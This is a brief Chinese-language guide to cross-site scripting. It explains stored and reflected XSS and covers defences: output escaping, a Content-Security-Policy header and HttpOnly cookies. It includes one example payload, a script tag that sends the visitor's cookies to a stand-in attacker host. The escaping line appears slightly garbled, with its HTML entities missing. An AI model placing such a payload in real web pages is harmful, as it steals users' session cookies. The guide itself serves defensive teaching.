跨站脚本攻击(Cross-Site Scripting, XSS)允许攻击者在受害者的浏览器中执行恶意脚本,从而窃取 Cookie、Token 或进行钓鱼攻击。
恶意脚本被永久存储在目标服务器(如数据库、评论区)中。当其他用户访问该页面时,脚本自动执行。
Payload 示例:
<script>fetch("http://hacker.com/steal?cookie=" + document.cookie)</script>
恶意脚本作为请求的一部分发送给服务器,服务器将其反射回 HTTP 响应中。
永远不要信任用户的输入。在输出到 HTML 时,必须进行转义(Encode):
< 转义为 <> 转义为 >通过 HTTP 响应头限制资源加载来源,禁止内联脚本执行:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
防止 JavaScript 读取敏感 Cookie:
Set-Cookie: session_id=xyz; HttpOnly; Secure